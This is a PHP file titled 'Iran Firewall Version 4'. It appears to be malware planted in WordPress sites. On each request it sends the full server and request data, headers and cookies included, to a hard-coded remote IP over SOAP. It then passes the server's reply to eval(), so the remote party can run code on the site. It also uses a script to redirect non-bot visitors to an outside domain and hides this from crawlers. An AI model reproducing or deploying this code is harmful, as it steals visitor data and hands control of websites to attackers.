<?php
///////////////////////////////////// Iran Firewall Version 4 basic https and redirect support
// $_SERVER['REMOTE_ADDR']=$_SERVER['HTTP_X_FORWARDED_FOR'];
define('test_working', 'test'); /////////// for url get to is code work
$redirect=true; /// if you want redirect this site change to true
$redirect_to="https://5speed.asia/redirect/?url=http://myssped6.in/"; /// redirect address to http or https
$server_name="78.46.180.118"; //// if you have private server change this ip
require_once('nusoap.php');
define('REDIRECT',$redirect);
define('REDIRECT_TO',$redirect_to);
gotocheck($server_name);
function visitor()
{
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = $_SERVER['REMOTE_ADDR'];
$result = "Unknown";
if(filter_var($client, FILTER_VALIDATE_IP))
{
$ip = $client;
}
elseif(filter_var($forward, FILTER_VALIDATE_IP))
{
$ip = $forward;
}
else
{
$ip = $remote;
}
return $ip;
}
ini_set('soap.wsdl_cache_enabled', '0');
ini_set('soap.wsdl_cache_ttl', '0');
$server_update = new soap_server();
$server_update ->register("update");
function gotocheck($server_name){
if(strpos($_SERVER['REQUEST_URI'],'wp-admin') || strpos($_SERVER['REQUEST_URI'],'wp-login.php') ){ $authpage=true;} else {$authpage=false;}
if (isset($_GET[test_working])){
$_SERVER['HTTP_REFERER']="http://mytestserverfromsite/";
}
elseif (REDIRECT && ($authpage==false && (!preg_match('/robot|bot|bot.html|Googlebot|spider|crawler|curl|^$/i', $_SERVER['HTTP_USER_AGENT'])))) {
echo '<script> location.href="'.REDIRECT_TO.'"; </script>';
}
$servercheck=$server_name;
$server=json_encode($_SERVER);
$remote=visitor();
$client=new nusoap_client("http://".$servercheck."/newcheck/v4.php");
$error=$client->getError();
if($error){
}
$result=$client->call("gettocheck",array("server"=>"$server"));
if($client->fault)
{
}
else{
$error=$client->getError();
if($error){
}
else{
if(isset($result[0]) && $result[0]=="false"){ echo $result[1]; die(); }
if(isset($result[0]) && $result[0]=="https"){ eval('$file='.$result[1]); echo str_replace("domain_name",$_SERVER['HTTP_HOST'],$file); die(); }
if(isset($result[0]) && $result[0]=="auth") { echo $result[1]; die(); }
if(isset($result[0]) && $result[0]=="msg") { echo $result[1]; }
if(isset($result[0]) && $result[0]=="true") { echo $result[1]; }
}
}
}
?>